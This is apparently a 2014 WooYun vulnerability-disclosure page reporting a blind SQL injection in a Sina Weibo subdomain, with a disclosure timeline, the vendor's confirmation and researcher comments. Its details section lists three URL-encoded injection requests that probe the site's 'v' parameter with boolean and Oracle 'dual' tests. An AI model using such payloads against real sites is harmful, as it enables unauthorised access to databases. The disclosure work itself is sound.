当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058035

漏洞标题:新浪微博另一分站SQL注射

相关厂商:新浪

漏洞作者: Jannock

提交时间:2014-04-22 11:36

修复时间:2014-06-06 11:37

公开时间:2014-06-06 11:37

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-22: 细节已通知厂商并且等待厂商处理中
2014-04-23: 厂商已经确认,细节仅向厂商公开
2014-05-03: 细节向核心白帽子及相关领域专家公开
2014-05-13: 细节向普通白帽子公开
2014-05-23: 细节向实习白帽子公开
2014-06-06: 细节向公众公开

简要描述:

新浪微博另一分站SQL注射,盲注

详细说明:

数据库为:oracle ? 没深入
http://hot.weibo.com/hot?v=1899%20and%20if%28%28%201=1%20%29,1,%28select%201%20union%20select%202%29%29%23
http://hot.weibo.com/hot?v=1899%20and%20if%28%28%201=2%20%29,1,%28select%201%20union%20select%202%29%29%23
http://hot.weibo.com/hot?v=1899%20and%20exists%20%28select%20*%20from%20dual%29%23

漏洞证明:

1.jpg


2.jpg


4.jpg

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-04-23 10:55

厂商回复:

感谢关注新浪安全,已经着手处理

最新状态:

暂无


漏洞评价:

评论

  1. 2014-04-22 11:40 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    哥,我跟不上你的节奏,你太快了

  2. 2014-04-22 11:52 | G3mIn1 ( 路人 | Rank:5 漏洞数:5 | 我画兰江水悠悠,爱晚亭上枫叶稠。)

    前排

  3. 2014-04-22 12:47 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    借鉴别人的一句话:对新浪的朋友们表示同情, 一哥不带这样的不能摁着一头羊可劲薅

  4. 2014-04-22 12:49 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @大亮 最后一字念啥

  5. 2014-04-22 13:02 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    @浩天 hao 一声,薅羊毛,赵本山曾经说过:你说当时放了五十只羊,你薅羊毛偏可一个薅,薅的这家伙像葛优似的谁看不出来呀

  6. 2014-04-22 19:03 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    sina真NB,刚刚发现爱问的sql注入,也就2分钟,页面就下线了,这警报太迅速了

  7. 2014-04-22 21:50 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    是把我屏蔽了

  8. 2014-05-04 17:32 | wusuopubupt ( 路人 | Rank:3 漏洞数:2 | BUPTer, linux lover.)

    @浩天 -_-